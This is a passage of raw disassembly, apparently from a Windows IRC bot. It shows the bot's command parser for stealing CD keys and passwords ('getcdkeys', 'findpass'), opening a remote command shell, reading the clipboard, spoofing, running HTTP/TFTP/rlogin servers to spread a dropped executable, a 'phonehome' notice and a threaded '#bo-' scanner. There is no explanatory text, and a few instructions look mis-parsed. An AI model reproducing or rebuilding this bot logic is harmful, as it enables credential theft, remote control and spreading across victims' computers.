pop ecx
test eax, eax
pop ecx
jz loc_40450E
push edi
push offset aStatus ; "status"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4044D0
push edi
push offset aS_1 ; "s"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4044D0
push edi
push offset aId ; "id"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404499
push edi
push offset aI ; "i"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404499
push edi
push offset aReboot ; "reboot"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_403181
call sub_41851B
test eax, eax
mov eax, offset unk_42D97C
jnz short loc_403153
mov eax, offset unk_42D954
loc_403153: ; CODE XREF: seg000:0040314Cj
push eax
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 1Ch
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_403181: ; CODE XREF: seg000:0040313Ej
push edi
push offset aThreads ; "threads"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4043AC
push edi
push offset aT ; "t"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4043AC
push edi
push offset aAliases ; "aliases"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404389
push edi
push offset aAl ; "al"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404389
push edi
push offset aLog ; "log"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40429A
push edi
push offset aLg ; "lg"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40429A
push edi
push offset aClearlog ; "clearlog"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40427E
push edi
push offset aClg ; "clg"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40427E
push edi
push offset aNetinfo ; "netinfo"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404244
push edi
push offset aNi ; "ni"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404244
push edi
push offset aSysinfo ; "sysinfo"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404219
push edi
push offset aSi ; "si"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404219
push edi
push offset aRemov10e ; "remov10e"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4041DF
push edi
push offset aRemov10e2 ; "remov10e2"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4041DF
push edi
push offset aProcs ; "procs"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4040C0
push edi
push offset aPs ; "ps"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4040C0
push edi
push offset aGetcdkeys ; "getcdkeys"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404096
push edi
push offset aKey ; "key"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_404096
push edi
push offset aUptime ; "uptime"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40400F
push edi
push offset aUp ; "up"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40400F
push edi
push offset aDriveinfo ; "driveinfo"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403FF2
push edi
push offset aDrv ; "drv"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403FF2
push edi
push offset aTestdlls ; "testdlls"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403FD9
push edi
push offset aDll ; "dll"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403FD9
push edi
push offset aOpencmd ; "opencmd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403F65
push edi
push offset aOcmd ; "ocmd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403F65
push edi
push offset aCmdstop ; "cmdstop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_4033CC
push dword ptr [ebp+esi-8Ch]
push 0Ah
push offset dword_42D884
push offset dword_42D878
jmp loc_404618
; ---------------------------------------------------------------------------
loc_4033CC: ; CODE XREF: seg000:004033B2j
push edi
push offset dword_42D874
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_4034CB
cmp [ebp-8], ebx
jnz short loc_403400
push ebx
push dword ptr [ebp-4]
push offset dword_42D860
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_403400: ; CODE XREF: seg000:004033E4j
mov eax, [ebp+20h]
cmp [eax], bl
jz short loc_40340A
inc eax
jmp short loc_40340F
; ---------------------------------------------------------------------------
loc_40340A: ; CODE XREF: seg000:00403405j
mov eax, offset aEmpty ; "<Empty>"
loc_40340F: ; CODE XREF: seg000:00403408j
push eax
push ebx
lea eax, [ebp-2C0h]
push offset aD_S ; "%d. %s"
push eax
call sub_41BA76
push 1
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push offset unk_42D82C
call sub_4152AE
add esp, 28h
loc_403449: ; CODE XREF: seg000:004036CEj
; seg000:00404A3Bj
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
mov [ebp+18h], eax
jz loc_401F82
push edi
push offset aSpoof ; "spoof"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_404B47
mov esi, [ebp+18h]
push offset aOff ; "off"
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_404A4D
lea eax, [ebp-2C0h]
push offset unk_42D7F8
push eax
mov ds:dword_4D137C, ebx
call sub_41BA76
pop ecx
pop ecx
loc_4034A1: ; CODE XREF: seg000:00404AEEj
; seg000:00404B14j ...
cmp [ebp-8], ebx
jnz loc_409753
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
loc_4034C3: ; CODE XREF: seg000:00408AA4j
; seg000:00408B08j
add esp, 14h
jmp loc_409753
; ---------------------------------------------------------------------------
loc_4034CB: ; CODE XREF: seg000:004033DBj
push edi
push offset aGetclip ; "getclip"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403F24
push edi
push offset aGc ; "gc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403F24
push edi
push offset aFlusharp ; "flusharp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403F07
push edi
push offset aFarp ; "farp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403F07
push edi
push offset aFlushdns ; "flushdns"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403EC9
push edi
push offset aFdns ; "fdns"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403EC9
push edi
push offset aCurrentip ; "currentip"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403E8F
push edi
push offset aCip ; "cip"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403E8F
push edi
push offset aRloginserver ; "rloginserver"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403D33
push edi
push offset aRlogin ; "rlogin"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403D33
push edi
push offset aHttpserver ; "httpserver"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403BBE
push edi
push offset aHttp ; "http"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403BBE
push edi
push offset aTftpserver ; "tftpserver"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403A8D
push edi
push offset aTftp ; "tftp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403A8D
push edi
push offset aCrash ; "crash"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_403657
lea eax, [ebp-2C0h]
push offset dword_42D750
push eax
call sub_41BA76
cmp [ebp-8], ebx
pop ecx
pop ecx
jnz short loc_403636
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_403636: ; CODE XREF: seg000:00403618j
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
mov dword ptr [esp], offset aCrash ; "crash"
push dword ptr [ebp+esi-7Ch]
call sub_41C260
jmp loc_4098D3
; ---------------------------------------------------------------------------
loc_403657: ; CODE XREF: seg000:00403600j
push edi
push offset aFofofo2 ; "fofofo2"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aSfdgdfgdfa ; "sfdgdfgdfa"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi
push offset aPhonehome ; "phonehome"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AE
lea eax, [ebp-0C0h]
push eax
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
push dword ptr [ebp+0Ch]
call sub_409920
loc_4036A6: ; CODE XREF: seg000:00401F55j
add esp, 0Ch
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_4036AE: ; CODE XREF: seg000:00403690j
push edi
push offset aFindpass ; "findpass"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_4036D4
push edi
push offset aFp ; "fp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_403449
loc_4036D4: ; CODE XREF: seg000:004036BDj
push dword ptr [ebp-88h]
lea eax, [ebp-0F50h]
push 80h
push eax
call sub_41BB70
mov eax, [ebp+0Ch]
push offset unk_42D6D4
mov [ebp-0F54h], eax
mov eax, [ebp-4]
mov [ebp-0ECCh], eax
mov eax, [ebp-8]
mov [ebp-0EC8h], eax
lea eax, [ebp-2C0h]
push 200h
push eax
call sub_41BB70
push ebx
lea eax, [ebp-2C0h]
push 26h
push eax
call sub_40AF71
add esp, 24h
mov [ebp-0ED0h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0F54h]
push ebx
push eax
push offset sub_416F7D
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0ED0h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_40377C
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D698
jmp loc_40831C
; ---------------------------------------------------------------------------
loc_403774: ; CODE XREF: seg000:00403782j
push 32h
call ds:dword_428064 ; Sleep
loc_40377C: ; CODE XREF: seg000:00403761j
cmp [ebp-0EC4h], ebx
jz short loc_403774
jmp loc_4023FC
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: seg000:00403666j
; seg000:0040367Bj
mov al, ds:byte_432D72
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_432D72
jz loc_401F82
mov ecx, edx
loc_4037A0: ; CODE XREF: seg000:004037A8j
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F82
mov [ebp+18h], edx
mov esi, offset aBo_0 ; "#bo-"
loc_4037BA: ; CODE XREF: seg000:00403A66j
push 0Bh
call sub_40B1B3
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 1F4h
jle short loc_403809
push ecx
lea eax, [ebp-2C0h]
push offset unk_42D658
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 20h
jmp loc_403A5D
; ---------------------------------------------------------------------------
loc_403809: ; CODE XREF: seg000:004037D4j
or dword ptr [ebp-72Ch], 0FFFFFFFFh
cmp ds:dword_432A90, ebx
mov dword ptr [ebp-730h], 64h
mov dword ptr [ebp-744h], 5
mov dword ptr [ebp-740h], 320h
mov [ebp+8], ebx
jz short loc_40387A
mov edi, offset dword_432A90
loc_40383E: ; CODE XREF: seg000:0040385Cj
mov eax, [ebp+18h]
add eax, 0FFFFFFF6h
push eax
lea eax, [edi-28h]
push eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_403860
inc dword ptr [ebp+8]
add edi, 40h
cmp [edi], ebx
jnz short loc_40383E
jmp short loc_40387A
; ---------------------------------------------------------------------------
loc_403860: ; CODE XREF: seg000:00403852j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-72Ch], eax
shl ecx, 6
mov ecx, ds:dword_432A90[ecx]
mov [ebp-748h], ecx
loc_40387A: ; CODE XREF: seg000:00403837j
; seg000:0040385Ej
cmp [ebp-748h], ebx
jz loc_403A83
push 10h
lea eax, [ebp-2C8h]
pop edi
push eax
lea eax, [ebp-2F4h]
push eax
mov [ebp-2C8h], edi
push dword ptr [ebp+0Ch]
call ds:dword_4CDB9C ; getsockname
mov al, [ebp-8FBh]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2F0h], eax
push dword ptr [ebp-2F0h]
call ds:dword_4CDC84 ; inet_ntoa
push eax
lea eax, [ebp-85Ch]
push eax
call sub_41B7E0
xor eax, eax
cmp [ebp-8FBh], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-85Ch]
push eax
call sub_41C030
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_403922
loc_403900: ; CODE XREF: seg000:00403920j
cmp eax, ebx
jz short loc_403922
mov byte ptr [eax], 78h
lea eax, [ebp-85Ch]
push 30h
push eax
call sub_41C030
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_403900
loc_403922: ; CODE XREF: seg000:004038FEj
; seg000:00403902j
mov eax, [ebp+0Ch]
push dword ptr [ebp-88h]
mov [ebp-74Ch], eax
mov eax, [ebp-4]
mov [ebp-724h], eax
mov eax, [ebp-8]
mov [ebp-720h], eax
mov edi, 80h
lea eax, [ebp-84Ch]
push edi
push eax
mov dword ptr [ebp-71Ch], 1
call sub_41BB70
push offset dword_43FDB4
push esi
call sub_41C260
add esp, 14h
test eax, eax
jz short loc_403984
push esi
lea eax, [ebp-7CCh]
push edi
push eax
call sub_41BB70
add esp, 0Ch
jmp short loc_40398A
; ---------------------------------------------------------------------------
loc_403984: ; CODE XREF: seg000:0040396Fj
mov [ebp-7CCh], bl
loc_40398A: ; CODE XREF: seg000:00403982j
cmp [ebp-71Ch], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40399C
mov eax, offset aSequential ; "Sequential"
loc_40399C: ; CODE XREF: seg000:00403995j
push dword ptr [ebp-730h]
lea ecx, [ebp-85Ch]
push dword ptr [ebp-740h]
push dword ptr [ebp-744h]
push dword ptr [ebp-748h]
push ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_42D5D8
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 0Bh
push eax
call sub_40AF71
add esp, 2Ch
mov [ebp-73Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-85Ch]
push ebx
push eax
push (offset loc_40C1A1+1)
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-73Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_403A79
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C0h]
push offset unk_42D59C
push eax
call sub_41BA76
add esp, 0Ch
loc_403A2F: ; CODE XREF: seg000:00403A81j
cmp [ebp-8], ebx
jnz short loc_403A50
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_403A50: ; CODE XREF: seg000:00403A32j
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
pop ecx
loc_403A5D: ; CODE XREF: seg000:00403804j
add dword ptr [ebp+18h], 0Bh
mov eax, [ebp+18h]
cmp [eax], bl
jnz loc_4037BA
jmp loc_401F82
; ---------------------------------------------------------------------------
loc_403A71: ; CODE XREF: seg000:00403A7Fj
push 32h
call ds:dword_428064 ; Sleep
loc_403A79: ; CODE XREF: seg000:00403A12j
cmp [ebp-718h], ebx
jz short loc_403A71
jmp short loc_403A2F
; ---------------------------------------------------------------------------
loc_403A83: ; CODE XREF: seg000:00403880j
push offset unk_42D564
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_403A8D: ; CODE XREF: seg000:004035D6j
; seg000:004035EBj
push 5
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_403AA3
push offset unk_42D544
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_403AA3: ; CODE XREF: seg000:00403A97j
mov eax, [ebp+esi-8Ch]
mov edi, 104h
cmp eax, ebx
jz short loc_403AC6
push eax
lea eax, [ebp-2E50h]
push edi
push eax
call sub_41BB70
add esp, 0Ch
jmp short loc_403AD5
; ---------------------------------------------------------------------------
loc_403AC6: ; CODE XREF: seg000:00403AB1j
lea eax, [ebp-2E50h]
push edi
push eax
push ebx
call near ptr 0B10000h
dec edi
loc_403AD5: ; CODE XREF: seg000:00403AC4j
mov esi, [ebp+esi-88h]
cmp esi, ebx
jnz short loc_403AE5
mov esi, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
loc_403AE5: ; CODE XREF: seg000:00403ADEj
push esi
lea eax, [ebp-2D4Ch]
push edi
push eax
call sub_41BB70
mov eax, ds:dword_42A07C
push 7Fh
push dword ptr [ebp-88h]
mov [ebp-2C40h], eax
mov eax, [ebp+0Ch]
mov [ebp-2C44h], ebx
mov [ebp-2E54h], eax
lea eax, [ebp-2C3Ch]
push eax
call sub_41B7E0
mov eax, [ebp-4]
mov [ebp-2BBCh], eax
mov eax, [ebp-8]
mov [ebp-2BB8h], eax
lea eax, [ebp-2E50h]
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp-2C40h]
push offset unk_42D510
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 5
push eax
call sub_40AF71
add esp, 34h
mov [ebp-2C48h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-2E54h]
push ebx
push eax
push offset byte_411915
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-2C48h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_403BB1
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D4D4
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_403BA9: ; CODE XREF: seg000:00403BB7j
push 32h
call ds:dword_428064 ; Sleep
loc_403BB1: ; CODE XREF: seg000:00403B96j
cmp [ebp-2BB4h], ebx
jz short loc_403BA9
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_403BBE: ; CODE XREF: seg000:004035ACj
; seg000:004035C1j
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
jz short loc_403BDD
push edi
call sub_41B969
test eax, eax
pop ecx
jz short loc_403BDD
push edi
call sub_41B969
pop ecx
jmp short loc_403BE2
; ---------------------------------------------------------------------------
loc_403BDD: ; CODE XREF: seg000:00403BC7j
; seg000:00403BD2j
mov eax, ds:dword_42A080
loc_403BE2: ; CODE XREF: seg000:00403BDBj
mov esi, [ebp+esi-88h]
mov [ebp-36C4h], eax
xor eax, eax
cmp [ebp-8F8h], bl
setz al
cmp esi, ebx
mov [ebp-36B0h], eax
jz short loc_403C15
lea eax, [ebp-37C8h]
push esi
push eax
call sub_41BA76
pop ecx
pop ecx
jmp short loc_403C40
; ---------------------------------------------------------------------------
loc_403C15: ; CODE XREF: seg000:00403C02j
lea eax, [ebp-4FF0h]
push 104h
push eax
call near ptr 0B10000h
mov esi, 858D5353h
cmp al, 0FBh
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 53h
; ---------------------------------------------------------------------------
push eax
lea eax, [ebp-4FF0h]
push eax
call sub_41BBC1
add esp, 14h
loc_403C40: ; CODE XREF: seg000:00403C13j
lea eax, [ebp-37C8h]
push eax
call sub_41B1D0
cmp byte ptr [ebp+eax-37C9h], 5Ch
pop ecx
jnz short loc_403C6B
lea eax, [ebp-37C8h]
push eax
call sub_41B1D0
pop ecx
mov [ebp+eax-37C9h], bl
loc_403C6B: ; CODE XREF: seg000:00403C55j
push dword ptr [ebp-88h]
mov esi, [ebp+0Ch]
lea eax, [ebp-3A50h]
mov [ebp-3A54h], esi
push 80h
push eax
call sub_41BB70
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-36B4h], eax
lea eax, [ebp-37C8h]
mov [ebp-36B8h], edi
push eax
push dword ptr [ebp-36C4h]
push esi
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_42D498
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 3
push eax
call sub_40AF71
add esp, 20h
mov [ebp-36BCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3A54h]
push ebx
push eax
push offset sub_40F477
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-36BCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_403D26
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D45C
jmp loc_403E50
; ---------------------------------------------------------------------------
loc_403D1E: ; CODE XREF: seg000:00403D2Cj
push 32h
call ds:dword_428064 ; Sleep
loc_403D26: ; CODE XREF: seg000:00403D0Bj
cmp [ebp-36A8h], ebx
jz short loc_403D1E
jmp loc_403E5F
; ---------------------------------------------------------------------------
loc_403D33: ; CODE XREF: seg000:00403582j
; seg000:00403597j
mov edi, [ebp+esi-8Ch]
cmp edi, ebx
jz short loc_403D52
push edi
call sub_41B969
test eax, eax
pop ecx
jz short loc_403D52
push edi
call sub_41B969
pop ecx
jmp short loc_403D57
; ---------------------------------------------------------------------------
loc_403D52: ; CODE XREF: seg000:00403D3Cj
; seg000:00403D47j
mov eax, ds:dword_42A084
loc_403D57: ; CODE XREF: seg000:00403D50j
mov [ebp-1820h], eax
mov eax, [ebp+esi-88h]
cmp eax, ebx
jnz short loc_403D6E
lea eax, [ebp-0C0h]
loc_403D6E: ; CODE XREF: seg000:00403D66j
push eax
lea eax, [ebp-1960h]
push 40h
push eax
call sub_41BB70
mov esi, [ebp+esi-84h]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403D90
mov esi, offset dword_43FDB4
loc_403D90: ; CODE XREF: seg000:00403D89j
push esi
lea eax, [ebp-1920h]
push 100h
push eax
call sub_41BB70
push dword ptr [ebp-88h]
lea eax, [ebp-19E0h]
push 80h
push eax
call sub_41BB70
mov eax, [ebp-8]
mov esi, [ebp+0Ch]
mov edi, [ebp-4]
add esp, 18h
mov [ebp-180Ch], eax
lea eax, [ebp-1960h]
push eax
mov [ebp-19E4h], esi
push dword ptr [ebp-1820h]
mov [ebp-1810h], edi
push esi
call sub_40AAF8
pop ecx
push eax
lea eax, [ebp-2C0h]
push offset unk_42D420
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 9
push eax
call sub_40AF71
add esp, 20h
mov [ebp-181Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-19E4h]
push ebx
push eax
push offset byte_410BEF
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-181Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_403E85
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42D3E4
loc_403E50: ; CODE XREF: seg000:00403D19j
; seg000:0040675Ej ...
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
add esp, 0Ch
loc_403E5F: ; CODE XREF: seg000:00403D2Ej
; seg000:00403E8Dj ...
cmp [ebp-8], ebx
jnz loc_4023FC
push ebx
push edi
loc_403E6A: ; CODE XREF: seg000:00407FF0j
lea eax, [ebp-2C0h]
push eax
push dword ptr [ebp-88h]
push esi
jmp loc_406EC6
; ---------------------------------------------------------------------------
loc_403E7D: ; CODE XREF: seg000:00403E8Bj
push 32h
call ds:dword_428064 ; Sleep
loc_403E85: ; CODE XREF: seg000:00403E42j
cmp [ebp-1808h], ebx
jz short loc_403E7D
jmp short loc_403E5F
; ---------------------------------------------------------------------------
loc_403E8F: ; CODE XREF: seg000:00403558j
; seg000:0040356Dj
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jz short loc_403EA2
push esi
call sub_41B969
jmp short loc_403EA9
; ---------------------------------------------------------------------------
loc_403EA2: ; CODE XREF: seg000:00403E98j
push 0Bh
call sub_40B1D2
loc_403EA9: ; CODE XREF: seg000:00403EA0j
cmp eax, ebx
pop ecx
jz loc_409753
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40B8B2
jmp loc_4043A4
; ---------------------------------------------------------------------------
loc_403EC9: ; CODE XREF: seg000:0040352Ej
; seg000:00403543j
mov eax, ds:dword_4CDB14
cmp eax, ebx
jz short loc_403EEC
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp-2C0h]
jz short loc_403EE5
push offset unk_42D3C0
jmp short loc_403EF7
; ---------------------------------------------------------------------------
loc_403EE5: ; CODE XREF: seg000:00403EDCj
push offset unk_42D394
jmp short loc_403EF7
; ---------------------------------------------------------------------------
loc_403EEC: ; CODE XREF: seg000:00403ED0j
push offset unk_42D368
lea eax, [ebp-2C0h]
loc_403EF7: ; CODE XREF: seg000:00403EE3j
; seg000:00403EEAj ...
push 200h
push eax
call sub_41BB70
jmp loc_406C7C
; ---------------------------------------------------------------------------
loc_403F07: ; CODE XREF: seg000:00403504j
; seg000:00403519j
call sub_40AA20
test eax, eax
lea eax, [ebp-2C0h]
jz short loc_403F1D
push offset unk_42D344
jmp short loc_403EF7
; ---------------------------------------------------------------------------
loc_403F1D: ; CODE XREF: seg000:00403F14j
push offset unk_42D318
jmp short loc_403EF7
; ---------------------------------------------------------------------------
loc_403F24: ; CODE XREF: seg000:004034DAj
; seg000:004034EFj
cmp [ebp-8], ebx
jnz short loc_403F43
push ebx
push dword ptr [ebp-4]
push offset dword_42D300
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
loc_403F43: ; CODE XREF: seg000:00403F27j
push ebx
push dword ptr [ebp-4]
call sub_4183BA
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
push offset dword_42D2E4
jmp loc_404271
; ---------------------------------------------------------------------------
loc_403F65: ; CODE XREF: seg000:00403388j
; seg000:0040339Dj
push 0Ah
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_403F78
push offset unk_42D2B8
jmp short loc_403F99
; ---------------------------------------------------------------------------
loc_403F78: ; CODE XREF: seg000:00403F6Fj
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call loc_419E2F
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F94
push offset unk_42D290
jmp short loc_403F99
; ---------------------------------------------------------------------------
loc_403F94: ; CODE XREF: seg000:00403F8Bj
push offset unk_42D270
loc_403F99: ; CODE XREF: seg000:00403F76j
; seg000:00403F92j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_403FA7: ; CODE XREF: seg000:004072CAj
; seg000:00408C15j
cmp [ebp-8], ebx
jnz short loc_403FC8
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
loc_403FC0: ; CODE XREF: seg000:0040886Ej
call sub_409966
add esp, 14h
loc_403FC8: ; CODE XREF: seg000:00403FAAj
; seg000:004041C5j ...
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
jmp loc_4098D4
; ---------------------------------------------------------------------------
loc_403FD9: ; CODE XREF: seg000:0040335Ej
; seg000:00403373j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_40A6BD
jmp loc_404292
; ---------------------------------------------------------------------------
loc_403FF2: ; CODE XREF: seg000:00403334j
; seg000:00403349j
push dword ptr [ebp+esi-8Ch]
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_416C90
jmp loc_404292
; ---------------------------------------------------------------------------
loc_40400F: ; CODE XREF: seg000:0040330Aj
; seg000:0040331Fj
or edi, 0FFFFFFFFh
call ds:dword_4280A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_404038
push esi
call sub_41B969
pop ecx
mov edi, eax
loc_404038: ; CODE XREF: seg000:0040402Dj
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404051
cmp edi, 0FFFFFFFFh
jnz loc_409753
loc_404051: ; CODE XREF: seg000:00404046j
push ebx
call sub_41AA78
push eax
lea eax, [ebp-2C0h]
push offset dword_42D258
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
lea eax, [ebp-2C0h]
push eax
call sub_4152AE
loc_40408E: ; CODE XREF: seg000:00407921j
add esp, 28h
jmp loc_409753
; ---------------------------------------------------------------------------
loc_404096: ; CODE XREF: seg000:004032E0j
; seg000:004032F5j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
